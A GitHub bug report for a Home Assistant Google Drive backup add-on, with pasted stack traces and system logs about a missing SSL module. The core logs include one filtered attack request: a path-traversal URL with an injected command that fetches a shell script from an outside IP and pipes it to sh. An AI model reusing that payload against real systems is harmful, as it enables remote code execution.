Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Error while backing up #1028

Open
rudma opened this issue Apr 22, 2024 · 0 comments
Open

Error while backing up #1028

rudma opened this issue Apr 22, 2024 · 0 comments

Comments

@rudma
Copy link

rudma commented Apr 22, 2024

Description:
If you have anything else that could help explain what happened, click "Markdown" above and write it here.

Addon version: 0.112.1
Home Assistant Version: 2024.4.3
Supervisor Version: 2024.04.0
Supervisor Channel: stable
Hassos Version: 12.2
Docker Version: 25.0.5
Architecture: aarch64
Machine: raspberrypi4-64
Date: 2024-04-22T06:53:26.083039+00:00
Timezone: Europe/Amsterdam
Failure Time: 2024-04-22T06:53:04.362584+00:00
Last Good Sync: 2024-04-22T06:53:04.148687+00:00
Next Sync: 2024-04-22T08:53:04.362584+00:00
Next Backup: 2024-04-25T06:47:53.221506+00:00
Next Cache Warm: 2260-11-10T20:09:39.908945+00:00
Time Offset: 0.0

Exception:

 addon/backup/model/coordinator.py:198 (_sync)
 addon/backup/model/model.py:203 (sync)
 addon/backup/model/model.py:316 (_syncBackups)
 addon/backup/drive/drivesource.py:121 (get)
 addon/backup/drive/drivesource.py:285 (getFolderId)
 addon/backup/drive/folderfinder.py:63 (get)
 addon/backup/drive/folderfinder.py:113 (_readFolderId)
 addon/backup/drive/folderfinder.py:154 (_verify)
 addon/backup/drive/driverequests.py:165 (get)
 addon/backup/drive/driverequests.py:376 (retryRequest)
 addon/backup/drive/driverequests.py:96 (_getHeaders)
 addon/backup/drive/driverequests.py:154 (getToken)
 addon/backup/creds/exchanger.py:81 (refresh)
 addon/backup/creds/exchanger.py:114 (_refresh_default)
 /site-packages/aiohttp/client.py:1187 (__aenter__)
 addon/backup/tracing_session.py:39 (_request)
 /site-packages/aiohttp/client.py:574 (_request)
 [7 hidden frames]
 /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

Backups:

{
   "HomeAssistant": {
       "backups": 5,
       "retained": 0,
       "deletable": 5,
       "name": "HomeAssistant",
       "title": "Home Assistant",
       "latest": "2024-04-22T06:47:53Z",
       "max": 4,
       "enabled": true,
       "icon": "home-assistant",
       "ignored": 12,
       "detail": "",
       "size": "734.2 MB",
       "ignored_size": "915.9 MB"
   },
   "GoogleDrive": {
       "backups": 0,
       "retained": 0,
       "deletable": 0,
       "name": "GoogleDrive",
       "title": "Google Drive",
       "latest": null,
       "max": 4,
       "enabled": true,
       "icon": "google-drive",
       "ignored": 0,
       "detail": "",
       "size": "0.0 B",
       "ignored_size": "0.0 B"
   }
}
Config:
{}
Addon Logs:
04-22 04:59:15 DEBUG [backup.model.syncer] Sync requested by Coordinator
04-22 04:59:15 INFO [backup.model.coordinator] Syncing Backups
04-22 04:59:15 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 04:59:15 ERROR [backup.model.coordinator] 
 addon/backup/model/coordinator.py:198 (_sync)
 addon/backup/model/model.py:203 (sync)
 addon/backup/model/model.py:316 (_syncBackups)
 addon/backup/drive/drivesource.py:121 (get)
 addon/backup/drive/drivesource.py:285 (getFolderId)
 addon/backup/drive/folderfinder.py:63 (get)
 addon/backup/drive/folderfinder.py:113 (_readFolderId)
 addon/backup/drive/folderfinder.py:154 (_verify)
 addon/backup/drive/driverequests.py:165 (get)
 addon/backup/drive/driverequests.py:376 (retryRequest)
 addon/backup/drive/driverequests.py:96 (_getHeaders)
 addon/backup/drive/driverequests.py:154 (getToken)
 addon/backup/creds/exchanger.py:81 (refresh)
 addon/backup/creds/exchanger.py:114 (_refresh_default)
 /site-packages/aiohttp/client.py:1187 (__aenter__)
 addon/backup/tracing_session.py:39 (_request)
 /site-packages/aiohttp/client.py:574 (_request)
 [7 hidden frames]
 /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 04:59:15 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 06:59:16 DEBUG [backup.model.syncer] Sync requested by Coordinator
04-22 06:59:16 INFO [backup.model.coordinator] Syncing Backups
04-22 06:59:16 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 06:59:16 ERROR [backup.model.coordinator] 
 addon/backup/model/coordinator.py:198 (_sync)
 addon/backup/model/model.py:203 (sync)
 addon/backup/model/model.py:316 (_syncBackups)
 addon/backup/drive/drivesource.py:121 (get)
 addon/backup/drive/drivesource.py:285 (getFolderId)
 addon/backup/drive/folderfinder.py:63 (get)
 addon/backup/drive/folderfinder.py:113 (_readFolderId)
 addon/backup/drive/folderfinder.py:154 (_verify)
 addon/backup/drive/driverequests.py:165 (get)
 addon/backup/drive/driverequests.py:376 (retryRequest)
 addon/backup/drive/driverequests.py:96 (_getHeaders)
 addon/backup/drive/driverequests.py:154 (getToken)
 addon/backup/creds/exchanger.py:81 (refresh)
 addon/backup/creds/exchanger.py:114 (_refresh_default)
 /site-packages/aiohttp/client.py:1187 (__aenter__)
 addon/backup/tracing_session.py:39 (_request)
 /site-packages/aiohttp/client.py:574 (_request)
 [7 hidden frames]
 /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 06:59:16 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:47:53 INFO [backup.ha.hasource] Requesting a new backup
04-22 08:48:30 INFO [backup.ha.hasource] Backup finished
04-22 08:48:30 DEBUG [backup.model.syncer] Sync requested by HomeAssistant
04-22 08:48:30 INFO [backup.model.coordinator] Syncing Backups
04-22 08:48:30 DEBUG [backup.ha.hasource] Adding a note to ha backup 'test 22-04-2024'
04-22 08:48:30 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:48:30 ERROR [backup.model.coordinator] 
 addon/backup/model/coordinator.py:198 (_sync)
 addon/backup/model/model.py:203 (sync)
 addon/backup/model/model.py:316 (_syncBackups)
 addon/backup/drive/drivesource.py:121 (get)
 addon/backup/drive/drivesource.py:285 (getFolderId)
 addon/backup/drive/folderfinder.py:63 (get)
 addon/backup/drive/folderfinder.py:113 (_readFolderId)
 addon/backup/drive/folderfinder.py:154 (_verify)
 addon/backup/drive/driverequests.py:165 (get)
 addon/backup/drive/driverequests.py:376 (retryRequest)
 addon/backup/drive/driverequests.py:96 (_getHeaders)
 addon/backup/drive/driverequests.py:154 (getToken)
 addon/backup/creds/exchanger.py:81 (refresh)
 addon/backup/creds/exchanger.py:114 (_refresh_default)
 /site-packages/aiohttp/client.py:1187 (__aenter__)
 addon/backup/tracing_session.py:39 (_request)
 /site-packages/aiohttp/client.py:574 (_request)
 [7 hidden frames]
 /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:48:30 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:52:53 INFO [backup.model.coordinator] Syncing Backups
04-22 08:52:53 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:52:53 ERROR [backup.model.coordinator] 
 addon/backup/model/coordinator.py:198 (_sync)
 addon/backup/model/model.py:203 (sync)
 addon/backup/model/model.py:316 (_syncBackups)
 addon/backup/drive/drivesource.py:121 (get)
 addon/backup/drive/drivesource.py:285 (getFolderId)
 addon/backup/drive/folderfinder.py:63 (get)
 addon/backup/drive/folderfinder.py:113 (_readFolderId)
 addon/backup/drive/folderfinder.py:154 (_verify)
 addon/backup/drive/driverequests.py:165 (get)
 addon/backup/drive/driverequests.py:376 (retryRequest)
 addon/backup/drive/driverequests.py:96 (_getHeaders)
 addon/backup/drive/driverequests.py:154 (getToken)
 addon/backup/creds/exchanger.py:81 (refresh)
 addon/backup/creds/exchanger.py:114 (_refresh_default)
 /site-packages/aiohttp/client.py:1187 (__aenter__)
 addon/backup/tracing_session.py:39 (_request)
 /site-packages/aiohttp/client.py:574 (_request)
 [7 hidden frames]
 /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:52:53 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:52:57 INFO [backup.model.coordinator] Syncing Backups
04-22 08:52:57 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:52:57 ERROR [backup.model.coordinator] 
 addon/backup/model/coordinator.py:198 (_sync)
 addon/backup/model/model.py:203 (sync)
 addon/backup/model/model.py:316 (_syncBackups)
 addon/backup/drive/drivesource.py:121 (get)
 addon/backup/drive/drivesource.py:285 (getFolderId)
 addon/backup/drive/folderfinder.py:63 (get)
 addon/backup/drive/folderfinder.py:113 (_readFolderId)
 addon/backup/drive/folderfinder.py:154 (_verify)
 addon/backup/drive/driverequests.py:165 (get)
 addon/backup/drive/driverequests.py:376 (retryRequest)
 addon/backup/drive/driverequests.py:96 (_getHeaders)
 addon/backup/drive/driverequests.py:154 (getToken)
 addon/backup/creds/exchanger.py:81 (refresh)
 addon/backup/creds/exchanger.py:114 (_refresh_default)
 /site-packages/aiohttp/client.py:1187 (__aenter__)
 addon/backup/tracing_session.py:39 (_request)
 /site-packages/aiohttp/client.py:574 (_request)
 [7 hidden frames]
 /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:52:57 INFO [backup.model.coordinator] I'll try again in 2 hours
04-22 08:53:04 INFO [backup.model.coordinator] Syncing Backups
04-22 08:53:04 DEBUG [backup.drive.driverequests] Requesting refreshed Google Drive credentials
04-22 08:53:04 ERROR [backup.model.coordinator] 
 addon/backup/model/coordinator.py:198 (_sync)
 addon/backup/model/model.py:203 (sync)
 addon/backup/model/model.py:316 (_syncBackups)
 addon/backup/drive/drivesource.py:121 (get)
 addon/backup/drive/drivesource.py:285 (getFolderId)
 addon/backup/drive/folderfinder.py:63 (get)
 addon/backup/drive/folderfinder.py:113 (_readFolderId)
 addon/backup/drive/folderfinder.py:154 (_verify)
 addon/backup/drive/driverequests.py:165 (get)
 addon/backup/drive/driverequests.py:376 (retryRequest)
 addon/backup/drive/driverequests.py:96 (_getHeaders)
 addon/backup/drive/driverequests.py:154 (getToken)
 addon/backup/creds/exchanger.py:81 (refresh)
 addon/backup/creds/exchanger.py:114 (_refresh_default)
 /site-packages/aiohttp/client.py:1187 (__aenter__)
 addon/backup/tracing_session.py:39 (_request)
 /site-packages/aiohttp/client.py:574 (_request)
 [7 hidden frames]
 /usr/lib/python3.11/asyncio/sslproto.py:273 (__init__)
RuntimeError: stdlib ssl module not available

04-22 08:53:04 INFO [backup.model.coordinator] I'll try again in 2 hours
Supervisor Logs:
�[32m2024-04-22 08:47:56.103 INFO (MainThread) [supervisor.addons.addon] Finish backup for addon core_duckdns�[0m
�[32m2024-04-22 08:47:56.104 INFO (MainThread) [supervisor.backups.manager] Backup dcdc12b5 starting stage home_assistant�[0m
�[32m2024-04-22 08:47:56.406 INFO (MainThread) [supervisor.homeassistant.module] Backing up Home Assistant Core config folder�[0m
�[32m2024-04-22 08:48:27.622 INFO (MainThread) [supervisor.homeassistant.module] Backup Home Assistant Core config folder done�[0m
�[32m2024-04-22 08:48:27.642 INFO (MainThread) [supervisor.backups.manager] Backup dcdc12b5 starting stage folders�[0m
�[32m2024-04-22 08:48:27.646 INFO (SyncWorker_0) [supervisor.backups.backup] Backing up folder share�[0m
�[32m2024-04-22 08:48:27.668 INFO (SyncWorker_0) [supervisor.backups.backup] Backup folder share done�[0m
�[32m2024-04-22 08:48:27.671 INFO (SyncWorker_2) [supervisor.backups.backup] Backing up folder addons/local�[0m
�[32m2024-04-22 08:48:27.679 INFO (SyncWorker_2) [supervisor.backups.backup] Backup folder addons/local done�[0m
�[32m2024-04-22 08:48:27.682 INFO (SyncWorker_6) [supervisor.backups.backup] Backing up folder ssl�[0m
�[32m2024-04-22 08:48:27.693 INFO (SyncWorker_6) [supervisor.backups.backup] Backup folder ssl done�[0m
�[32m2024-04-22 08:48:27.697 INFO (SyncWorker_5) [supervisor.backups.backup] Backing up folder media�[0m
�[32m2024-04-22 08:48:27.708 INFO (SyncWorker_5) [supervisor.backups.backup] Backup folder media done�[0m
�[32m2024-04-22 08:48:27.710 INFO (MainThread) [supervisor.backups.manager] Backup dcdc12b5 starting stage finishing_file�[0m
�[32m2024-04-22 08:48:30.464 INFO (MainThread) [supervisor.backups.manager] Creating full backup with slug dcdc12b5 completed�[0m
�[32m2024-04-22 08:48:30.773 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:48:30.781 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:48:30.832 INFO (MainThread) [supervisor.api.middleware.security] /backups/dcdc12b5/info access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:44.094 INFO (MainThread) [supervisor.api.middleware.security] /core/info access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:44.101 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:44.109 INFO (MainThread) [supervisor.api.middleware.security] /mounts access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:44.116 INFO (MainThread) [supervisor.api.middleware.security] /addons access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:53.105 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:53.112 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:57.645 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:52:57.652 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:53:04.152 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/info access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:53:04.159 INFO (MainThread) [supervisor.api.middleware.security] /backups access from cebe7a76_hassio_google_drive_backup�[0m
�[32m2024-04-22 08:53:26.090 INFO (MainThread) [supervisor.api.middleware.security] /supervisor/logs access from cebe7a76_hassio_google_drive_backup�[0m
Home Assistant Core Logs:
TypeError: Cannot read properties of null (reading 'removeEventListener')
renderHeading (src/components/ha-dialog.ts:53:24)
apply (src/scoped-custom-element-registry.js:262:44)
mainWindow.history.pushState (src/dialogs/make-dialog-manager.ts:129:7)�[0m
�[33m2024-04-21 22:23:39.726 WARNING (MainThread) [homeassistant.components.automation.side_garden_person_detected_dim_lights] Side garden Person detected dim lights: Already running�[0m
�[31m2024-04-21 22:31:50.326 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)�[0m
�[31m2024-04-21 22:34:07.042 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)�[0m
�[33m2024-04-21 22:35:03.662 WARNING (MainThread) [homeassistant.components.http.security_filter] Filtered a potential harmful request to: /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20http%3a%2f%2f193.222.96.163%2fiv.sh%20%7c%20sh%20%7c%7c%20wget%20-O-%20http%3a%2f%2f193.222.96.163%2fiv.sh%20%7c%20sh%3b�[0m
�[31m2024-04-21 22:40:15.674 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)�[0m
�[31m2024-04-21 22:46:55.247 ERROR (MainThread) [homeassistant.components.websocket_api.http.connection] [546639663296] Error handling message: Integration '' not found (home_assistant_error) Rudi Maassen from 192.168.1.116 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)�[0m
�[33m2024-04-22 00:23:39.575 WARNING (Thread-5) [pychromecast.socket_client] [Slaapkamer(192.168.1.115):8009] Heartbeat timeout, resetting connection�[0m
�[31m2024-04-22 00:23:42.629 ERROR (Thread-5) [pychromecast.socket_client] [Slaapkamer(192.168.1.130):8009] Failed to connect to service HostServiceInfo(host='192.168.1.130', port=8009), retrying in 5.0s�[0m
�[31m2024-04-22 02:55:16.869 ERROR (MainThread) [aiohttp.server] Error handling request
Traceback (most recent call last):
 File "/usr/local/lib/python3.12/site-packages/aiohttp/web_protocol.py", line 350, in data_received
   messages, upgraded, tail = self._request_parser.feed_data(data)
                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File "aiohttp/_http_parser.pyx", line 557, in aiohttp._http_parser.HttpParser.feed_data
aiohttp.http_exceptions.BadStatusLine: 400, message:
 Invalid method encountered:

   b'SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1'
      ^�[0m
�[31m2024-04-22 04:36:17.720 ERROR (MainThread) [homeassistant.components.glances.coordinator] Error fetching glances - 192.168.1.145 data: �[0m
�[31m2024-04-22 04:39:22.729 ERROR (MainThread) [homeassistant.components.glances.coordinator] Error fetching glances - 192.168.1.145 data: �[0m
�[33m2024-04-22 06:32:49.241 WARNING (Thread-6) [pychromecast.socket_client] [Chromecast TV(192.168.1.120):8009] Heartbeat timeout, resetting connection�[0m
�[33m2024-04-22 06:32:50.235 WARNING (MainThread) [homeassistant.components.androidtv_remote] Disconnected from Chromecast TV at 192.168.1.120�[0m
�[31m2024-04-22 06:33:17.749 ERROR (MainThread) [custom_components.zonneplan_one.coordinator] Error requesting zonneplan_one data: Cannot connect to host app-api.zonneplan.nl:443 ssl:default [Try again]�[0m
�[31m2024-04-22 06:33:19.257 ERROR (Thread-6) [pychromecast.socket_client] [Chromecast TV(192.168.1.120):8009] Failed to connect to service MDNSServiceInfo(name='Chromecast-ddcb4040fd3c02e80767e789ead8e094._googlecast._tcp.local.'), retrying in 5.0s�[0m
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@rudma